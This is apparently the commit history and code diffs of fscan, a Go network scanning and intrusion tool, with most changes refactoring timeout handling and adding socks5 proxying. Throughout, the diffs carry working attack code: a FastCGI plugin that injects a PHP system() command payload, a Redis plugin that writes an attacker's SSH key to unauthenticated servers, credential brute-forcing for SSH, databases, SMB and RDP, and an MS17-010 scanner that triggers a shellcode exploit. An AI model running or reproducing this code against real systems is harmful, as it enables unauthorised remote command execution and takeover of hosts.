33 Commits
Author SHA1 Message Date
影舞者 30df6b651f 加入手工gc回收,尝试节省无用内存。
-url 支持逗号隔开。
修复一个poc模块bug。
2022-07-06 21:42:00 +08:00
影舞者 6e5642c508 update README.md 2022-07-05 12:59:23 +08:00
影舞者 2a6491808d update README.md 2022-07-05 12:50:28 +08:00
影舞者 0146a941cf update README.md 2022-07-05 12:49:04 +08:00
影舞者 67f30bf4e3 Merge pull request #197 from u21h2/main
使用毫秒作为随机数种子,避免生成的ceye子域名相同,导致反连平台误报
2022-07-03 23:53:47 +08:00
影舞者 f2239b6c9f 减少pocinfo结构体大小 2022-07-03 23:48:06 +08:00
影舞者 b9b5eb9ce4 减少info结构体大小 2022-07-03 23:41:39 +08:00
U21H2 4b596180a3 Update check.go
使用毫秒作为随机数种子,避免生成的ceye子域名相同
2022-07-03 23:07:25 +08:00
影舞者 8e1db5995e 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 2022-07-02 17:25:15 +08:00
影舞者 b1d85833a7 update 2022-06-26 19:54:38 +08:00
影舞者 fdffb369c9 update 2022-06-13 10:27:23 +08:00
影舞者 a2573e10bb Merge remote-tracking branch 'origin/main' 2022-05-26 11:28:35 +08:00
影舞者 198abff115 update 2022-05-26 11:23:19 +08:00
影舞者 cf9389e879 Merge pull request #174 from jindaxia/main
poc: add f5 big-ip cve-2022-1388 poc
2022-05-19 17:43:17 +08:00
jindaxia 85e636fcea fix: 修复2022-188的poc
header里面Connection属性keep-alive后面的逗号","
使得后面的x auth token字段解析出现错误, 从而绕过验证
2022-05-19 17:34:57 +08:00
jindaxia 2cef5c66d6 poc: add f5 big-ip cve-2022-1388 poc 2022-05-19 11:02:50 +08:00
影舞者 11fb239c61 update 2022-05-12 17:56:32 +08:00
影舞者 4915539fb3 fix bug 2022-05-12 11:56:01 +08:00
影舞者 55825f3b7c Merge pull request #170 from ccreater222/main
update proxy timeout
2022-05-09 14:52:55 +08:00
ccreater c67d09371f Merge branch 'main' of github.com:ccreater222/fscan 2022-05-09 13:27:25 +08:00
ccreater 9f27655182 beautify 2022-05-09 13:26:42 +08:00
影舞者 0b8c0ccc96 Update webtitle.go 2022-05-09 12:27:05 +08:00
影舞者 5bb7502ba3 Merge pull request #169 from ccreater222/main
添加了socks5支持
2022-05-09 12:11:09 +08:00
影舞者 ab60c985a6 Update client.go 2022-05-09 12:08:29 +08:00
ccreater 5c112e0ca8 fix bug 2022-05-08 02:19:41 +08:00
ccreater 6f15f835f0 handle error 2022-05-08 00:16:58 +08:00
ccreater d774023da7 add socks5 support 2022-05-07 23:46:22 +08:00
影舞者 df527adda9 -h 支持域名 2022-04-28 17:08:52 +08:00
影舞者 2d496cafc9 -h 支持域名 2022-04-28 17:02:48 +08:00
影舞者 584771114d add lock 2022-04-27 11:49:16 +08:00
影舞者 5dcb789e33 update image 2022-04-27 11:49:16 +08:00
影舞者 bb544cfbf3 update README.md 2022-04-21 09:56:07 +08:00
影舞者 c4950e2a93 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 2022-04-20 17:54:45 +08:00
67 changed files with 2718 additions and 730 deletions
+2 -3
View File
@@ -3,7 +3,6 @@ package Plugins
import (
"bytes"
"fmt"
"net"
"time"
"github.com/shadow1ng/fscan/common"
@@ -104,9 +103,9 @@ func SmbGhost(info *common.HostInfo) error {
}
func SmbGhostScan(info *common.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port)
conn, err := net.DialTimeout("tcp", addr, timeout)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
defer func() {
if conn != nil {
conn.Close()
+7 -7
View File
@@ -56,7 +56,7 @@ func NetBIOS(info *common.HostInfo) error {
}
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
if info.Scantype == "netbios" {
if common.Scantype == "netbios" {
msg += "\n-------------------------------------------\n" + nbname.msg
}
if len(nbname.group) > 0 || len(nbname.unique) > 0 {
@@ -75,16 +75,16 @@ func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil{
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return
}
@@ -194,16 +194,16 @@ func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", info.Host, 137)
conn, err := net.DialTimeout("udp", realhost, time.Duration(info.Timeout)*time.Second)
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil{
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return
}
+7 -8
View File
@@ -8,7 +8,6 @@ import (
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"net"
"strconv"
"strings"
"sync"
@@ -24,17 +23,17 @@ func FcgiScan(info *common.HostInfo) {
return
}
url := "/etc/issue"
if info.Path != "" {
url = info.Path
if common.Path != "" {
url = common.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
switch {
case info.Command == "read":
case common.Command == "read":
reqParams = ""
case info.Command != "":
reqParams = "<?php system('" + info.Command + "');die('" + cutLine + "');?>"
case common.Command != "":
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
}
@@ -55,7 +54,7 @@ func FcgiScan(info *common.HostInfo) {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := New(addr, info.Timeout)
fcgi, err := New(addr, common.Timeout)
defer func() {
if fcgi.rwc != nil {
fcgi.rwc.Close()
@@ -184,7 +183,7 @@ type FCGIClient struct {
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
+2 -3
View File
@@ -5,7 +5,6 @@ import (
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
@@ -23,7 +22,7 @@ func Findnet(info *common.HostInfo) error {
func FindnetScan(info *common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@@ -32,7 +31,7 @@ func FindnetScan(info *common.HostInfo) error {
if err != nil {
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return err
}
+2 -2
View File
@@ -38,7 +38,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -50,7 +50,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
if err == nil {
err = conn.Login(Username, Password)
if err == nil {
+3 -4
View File
@@ -3,21 +3,20 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if client != nil{
if client != nil {
client.Close()
}
}()
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {
+2 -4
View File
@@ -4,7 +4,6 @@ import (
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
@@ -13,7 +12,6 @@ func MongodbScan(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
@@ -26,7 +24,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@@ -35,7 +33,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
File diff suppressed because it is too large Load Diff
+7 -3
View File
@@ -6,7 +6,6 @@ import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
@@ -34,7 +33,7 @@ func MS17010(info *common.HostInfo) error {
func MS17010Scan(info *common.HostInfo) error {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@@ -44,7 +43,7 @@ func MS17010Scan(info *common.HostInfo) error {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
@@ -132,6 +131,11 @@ func MS17010Scan(info *common.HostInfo) error {
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
common.LogSuccess(result)
defer func() {
if common.SC != "" {
MS17010EXP(info)
}
}()
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
+4 -4
View File
@@ -27,7 +27,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -39,11 +39,11 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
+4 -4
View File
@@ -27,7 +27,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -39,11 +39,11 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(info.Timeout)*time.Second)
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
+3 -3
View File
@@ -27,7 +27,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -42,8 +42,8 @@ func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
db, err := sql.Open("oracle", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
+1 -2
View File
@@ -3,7 +3,6 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"sort"
"strconv"
"sync"
@@ -74,7 +73,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port
conn, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
+2 -2
View File
@@ -27,7 +27,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -42,7 +42,7 @@ func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, e
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
+2 -3
View File
@@ -14,7 +14,6 @@ import (
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"net"
"os"
"strconv"
"strings"
@@ -49,7 +48,7 @@ func RdpScan(info *common.HostInfo) (tmperr error) {
for i := 0; i < common.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, info.Domain, port, &wg, brlist, &signal, &num, all, &mutex, info.Timeout)
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
}
close(brlist)
@@ -127,7 +126,7 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
}
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
conn, err := net.DialTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
+13 -22
View File
@@ -36,7 +36,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -47,7 +47,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@@ -56,7 +56,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
@@ -87,7 +87,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@@ -96,7 +96,7 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
@@ -164,10 +164,6 @@ func Expoilt(realhost string, conn net.Conn) error {
}
}
err = recoverdb(dbfilename, dir, conn)
//fmt.Println("dbfilename:")
//fmt.Println(dbfilename)
//fmt.Println("dir:")
//fmt.Println(dir)
return err
}
@@ -191,19 +187,14 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err
}
if strings.Contains(text, "OK") {
var key string
if filename == "shadow" {
key = SshPub
} else {
key, err = Readfile(filename)
if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
+9 -15
View File
@@ -26,17 +26,17 @@ func Scan(info common.HostInfo) {
Hosts = CheckLive(Hosts, common.Ping)
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
}
if info.Scantype == "icmp" {
if common.Scantype == "icmp" {
common.LogWG.Wait()
return
}
var AlivePorts []string
if info.Scantype == "webonly" {
if common.Scantype == "webonly" {
AlivePorts = NoPortScan(Hosts, info.Ports)
} else {
AlivePorts = PortScan(Hosts, info.Ports, info.Timeout)
AlivePorts = PortScan(Hosts, info.Ports, common.Timeout)
fmt.Println("[*] alive ports len is:", len(AlivePorts))
if info.Scantype == "portscan" {
if common.Scantype == "portscan" {
common.LogWG.Wait()
return
}
@@ -49,7 +49,7 @@ func Scan(info common.HostInfo) {
fmt.Println("start vulscan")
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if info.Scantype == "all" || info.Scantype == "main" {
if common.Scantype == "all" || common.Scantype == "main" {
switch {
case info.Ports == "135":
AddScan(info.Ports, info, ch, &wg) //findnet
@@ -66,22 +66,16 @@ func Scan(info common.HostInfo) {
AddScan("1000003", info, ch, &wg) //webtitle
}
} else {
port, _ := common.PORTList[info.Scantype]
port, _ := common.PORTList[common.Scantype]
scantype := strconv.Itoa(port)
AddScan(scantype, info, ch, &wg)
}
}
}
if common.URL != "" {
info.Url = common.URL
for _, url := range common.Urls {
info.Url = url
AddScan("1000003", info, ch, &wg)
}
if len(common.Urls) > 0 {
for _, url := range common.Urls {
info.Url = url
AddScan("1000003", info, ch, &wg)
}
}
wg.Wait()
common.LogWG.Wait()
close(common.Results)
@@ -97,11 +91,11 @@ func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.W
common.Num += 1
Mutex.Unlock()
ScanFunc(PluginList, scantype, &info)
wg.Done()
Mutex.Lock()
common.End += 1
Mutex.Unlock()
<-ch
wg.Done()
}()
ch <- struct{}{}
}
+5 -5
View File
@@ -20,8 +20,8 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
var result string
if info.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
}
@@ -35,7 +35,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -52,7 +52,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
Port: 445,
User: Username,
Password: Password,
Domain: info.Domain,
Domain: common.Domain,
Workstation: "",
}
@@ -75,7 +75,7 @@ func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool,
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(info.Timeout) * time.Second):
case <-time.After(time.Duration(common.Timeout) * time.Second):
return false, errors.New("time out")
}
}
+9 -9
View File
@@ -29,11 +29,11 @@ func SshScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if info.SshKey != "" {
if common.SshKey != "" {
return err
}
}
@@ -45,8 +45,8 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
Auth := []ssh.AuthMethod{}
if info.SshKey != "" {
pemBytes, err := ioutil.ReadFile(info.SshKey)
if common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(common.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
@@ -62,7 +62,7 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
config := &ssh.ClientConfig{
User: Username,
Auth: Auth,
Timeout: time.Duration(info.Timeout) * time.Second,
Timeout: time.Duration(common.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
@@ -76,16 +76,16 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
defer session.Close()
flag = true
var result string
if info.Command != "" {
combo, _ := session.CombinedOutput(info.Command)
if common.Command != "" {
combo, _ := session.CombinedOutput(common.Command)
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if info.SshKey != "" {
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
}
common.LogSuccess(result)
} else {
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
if info.SshKey != "" {
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
}
common.LogSuccess(result)
+23 -13
View File
@@ -10,7 +10,6 @@ import (
"golang.org/x/text/encoding/simplifiedchinese"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"regexp"
@@ -39,13 +38,13 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
info.Url = fmt.Sprintf("https://%s", info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, info.Timeout)
protocol := GetProtocol(host, common.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else {
if !strings.Contains(info.Url, "://") {
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, info.Timeout)
protocol := GetProtocol(host, common.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
@@ -76,8 +75,8 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
}
}
}
err, _, CheckData = geturl(info, 2, CheckData)
//是否访问图标
//err, _, CheckData = geturl(info, 2, CheckData)
if err != nil {
return
}
@@ -106,11 +105,12 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
req.Header.Set("Accept", "*/*")
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Pocinfo.Cookie != "" {
req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
} else {
req.Header.Set("Cookie", "rememberMe=1")
}
req.Header.Set("Cookie", common.Cookie)
//if common.Pocinfo.Cookie != "" {
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
//} else {
// req.Header.Set("Cookie", "rememberMe=1")
//}
req.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
@@ -190,7 +190,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
}
func gettitle(body []byte) (title string) {
re := regexp.MustCompile("(?ims)<title>(.*)</title>")
re := regexp.MustCompile("(?ims)<title>(.*?)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
title = string(find[1])
@@ -218,13 +218,23 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
return
}
conn, err := tls.DialWithDialer(&net.Dialer{Timeout: time.Duration(Timeout) * time.Second}, "tcp", host, &tls.Config{InsecureSkipVerify: true})
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if err != nil {
return
}
conn := tls.Client(socksconn, &tls.Config{InsecureSkipVerify: true})
defer func() {
if conn != nil {
defer func() {
if err := recover(); err != nil {
common.LogError(err)
}
}()
